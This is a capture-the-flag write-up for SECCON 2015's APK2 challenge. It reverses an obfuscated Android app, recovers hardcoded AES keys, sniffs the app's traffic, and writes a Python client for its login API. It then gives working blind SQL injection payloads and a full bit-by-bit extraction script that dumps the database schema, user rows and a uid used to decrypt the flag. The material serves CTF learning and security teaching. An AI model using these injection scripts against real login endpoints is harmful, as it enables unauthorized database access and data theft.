SECCON CTF 2015 - APK2
12 Dec 2015Given an APK file.
1. Run anyway
I first installed this app in my Android phone. It has three screens.
- Login with email + password
- Register email + name + password
- Show user info (name) when logged in
2. Reverse app
It’s time to decompile the app. Use apktool, dex2jar, jad as usual. My tool apkext came in handy.
2.1. The standard way
From AndroidManifest.xml
, we find that the entry point activity is kr.repo.h2spice.yekehtmai.MainActivity
. The program is obfuscated via name substitution.
// kr.repo.h2spice.yekehtmai.MainActivity
private void a(String s, String s1)
{
f.setMessage("Logging in ...");
a();
s = new i(this, 1, a.a, new g(this), new h(this), s, s1);
AppController.a().a(s, "req_login");
}
This function seems to be the login button handler. I tried dig into classes like i
, g
, h
, AppController
. But it was too complicated. Instead I started to browse the directory kr.repo.h2spice.yekehtmai
.
2.2. Look around
// kr.repo.h2spice.yekehtmai.a
public static String a = "http://apk.pwn.seccon.jp/login.php";
public static String b = "http://apk.pwn.seccon.jp/register.php";
We found the API server’s URLs.
// kr.repo.h2spice.yekehtmai.b
public static final byte[] a(byte abyte0[]) { ... } // base64 decode
// kr.repo.h2spice.yekehtmai.c
public static String a(String s, String s1) // encrypt(data, key)
public static String b(String s, String s1) // decrypt(data, key)
These two functions implement AES/ECB/PKCS5Padding
scheme. Ciphertext is passed as base64 encoded format.
// kr.repo.h2spice.yekehtmai.i
public Map l()
{
HashMap hashmap = new HashMap();
hashmap.put("email", kr.repo.h2spice.yekehtmai.c.a(a, MainActivity.m(c) + MainActivity.l(c) + MainActivity.k(c) + MainActivity.j(c) + MainActivity.i(c) + MainActivity.h(c) + MainActivity.g(c) + MainActivity.f(c)));
hashmap.put("password", kr.repo.h2spice.yekehtmai.c.a(b, MainActivity.m(c) + MainActivity.l(c) + MainActivity.k(c) + MainActivity.j(c) + MainActivity.i(c) + MainActivity.h(c) + MainActivity.g(c) + MainActivity.f(c)));
return hashmap;
}
This is the login packet. We see that the parameters are AES encrypted with some complicated key value.
public class key
{
// from kr.repo.h2spice.yekehtmai.j
public static int a(int i)
{
long l = i;
l ^= l << 21;
l ^= l >>> 35;
l ^= l << 4;
return (int)(l & (1L << (int)l) - 1L);
}
public static int a(String s)
{
int k = Integer.valueOf(s.substring(0, 5), 36).intValue();
int l = Integer.valueOf(s.substring(5, 10), 36).intValue();
for(int i = 4; i != 0; i--)
{
l = (l - b(k)) % 0x39aa400;
k = (k - b(l)) % 0x39aa400;
}
return ((k + 0x39aa400) % 0x39aa400) * 0x39aa400 + (l + 0x39aa400) % 0x39aa400;
}
private static int b(int i)
{
int k = a;
byte byte0 = 4;
k = (k + i) % 0x39aa400;
for(i = byte0; i != 0; i--)
k = (k * 13 + 0x5125abc7) % 0x39aa400;
return k;
}
public static void main (String[] args)
{
String[] arr = {"GN390SYC6W","Z6IYIQDTQS","INA60E9KTC","RGC9RZR6TY","0Q24IYGXLW","GSN60XD1S0","H9AX0AL6JC","8RCN9XWZOY"};
for (int i=0; i<arr.length; i++)
System.out.print(a(arr[i]));
System.out.println();
}
}
The encryption key for login can be reproduced as above. It’s 3246847986364861
. Similarly, encryption key for register is 9845674983296465
.
// kr.repo.h2spice.yekehtmai.WelcomeActivity
Object obj = d.a();
bundle = (String)((HashMap) (obj)).get("name");
String s = (String)((HashMap) (obj)).get("email");
obj = ((String)((HashMap) (obj)).get("uid")).substring(i, k);
try
{
f = kr.repo.h2spice.yekehtmai.c.b("fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4=", ((String) (obj)));
}
a.setText(bundle);
b.setText(f);
WelcomeActivity had this suspicious code. Decrypting the data with right uid should give us the flag.
2.3. Packet Sniffing
Then we wanted to know if login request is sent via GET or POST, and if the data is in urlencoded format or json, and so on. Thus we captured the communication between the app and the API server.
On a Linux server, setup a PPTP VPN server. Then in an Android machine, connect to the VPN server and launch the app.
Since the communication is in HTTP we can simply use tcpdump
to capture the packets.
sudo tcpdump -i ppp0 -nnvvASs 1514 host 153.120.166.206
When I logged in with rrr@rrr.com
and rrr
, following packet was captured. It’s HTTP POST request with the data in urlencoded format. Register packet was similar.
POST /login.php HTTP/1.1
If-Modified-Since: Sat, 05 Dec 2015 12:06:16 GMT+00:00
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.4; SM-G720N0 Build/KTU84P)
Host: apk.pwn.seccon.jp
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 75
password=whpkcvR609eLhzW%2BwYSoEQ%3D%3D&email=zFdy3Su3sxRXMQX6stmYyg%3D%3D&
3. Simulate app behavior
from Crypto.Cipher import AES
from Crypto import Random
import requests
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
def decrypt(s, k):
cipher = AES.new(k, AES.MODE_ECB)
pt = cipher.decrypt(s)
return unpad(pt)
def encrypt(s, k):
cipher = AES.new(k, AES.MODE_ECB)
ct = cipher.encrypt(pad(s))
return ct
logink = "3246847986364861"
regk = "9845674983296465"
def login(email, password):
data = {
'password': encrypt(password, logink).encode('base64').rstrip('\n'),
'email': encrypt(email, logink).encode('base64').rstrip('\n')
}
r = requests.post("http://apk.pwn.seccon.jp/login.php", data=data)
return r.json()
def register(email, password, name):
data = {
'password': encrypt(password, regk).encode('base64').rstrip('\n'),
'email': encrypt(email, regk).encode('base64').rstrip('\n'),
'name': encrypt(name, regk).encode('base64').rstrip('\n')
}
r = requests.post("http://apk.pwn.seccon.jp/register.php", data=data)
return r.json()
print login("rrr@rrr.com", "rrr")
4. Attack API Server
The API server is PHP pages. We can suspect SQL injection. After some tries, we succeeded to login with rrr@rrr.com' and 1#
.
Logging in with rrr@rrr.com' and if(mid((select version()),1,1)>4,1,0)#
responded with
{u'user': {u'updated_at': None, u'created_at': u'2015-12-05 21:14:39', u'name': u'rrr', u'email': u'rrr@rrr.com'}, u'uid': u'fcc89db8033ce7ce15aed60', u'error': False
Logging in with rrr@rrr.com' and if(mid((select version()),1,1)<=4,1,0)#
responded with
{u'error_msg': u'Login credentials are wrong. Please try again!', u'error': True}
So we can extract database by blind SQL injection attack.
def check_truth(expr):
pay = "rrr@rrr.com' and if((%s),1,0)#" % expr
result = login(pay, 'rrr')
return not result['error']
def get_char(query, idx):
char = "lpad(bin(ascii(mid((%s),%d,1))),8,0)" % (query, idx)
s = ''
for j in range(1,9):
bit = "substr(%s,%d,1)=1" % (char, j)
res = check_truth(bit)
if res:
s += '1'
print '1',
else:
s += '0'
print '0',
print bit
return chr(int(s,2))
def get_data(query):
s = ""
for i in range(100):
c = get_char(query, i+1)
s += c
print s
if c == '\x00': break
return s
Below are some of the database contents.
print get_data("select group_concat(schema_name) from information_schema.schemata")
# information_schema,seccon2015
print get_data("select group_concat(table_name) from information_schema.tables where table_schema='seccon2015'")
# users
print get_data("select group_concat(column_name) from information_schema.columns where table_name='users'")
# id,unique_id,name,email,encrypted_password,salt,created_at,updated_at
print get_data("select group_concat(name) from users order by created_at")
# h2spice,,,iamthekey,Name,hello,hello1,he ...
print get_data("select unique_id from users where name='iamthekey'")
# a159c1f7097ba80403d29e7
iamthekey
was the obviously the user holding the correct uid.
5. Flag
print decrypt('fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4='.decode('base64'), 'a159c1f7097ba80403d29e7'[0:16])
# SECCON{6FgshufUTpRm}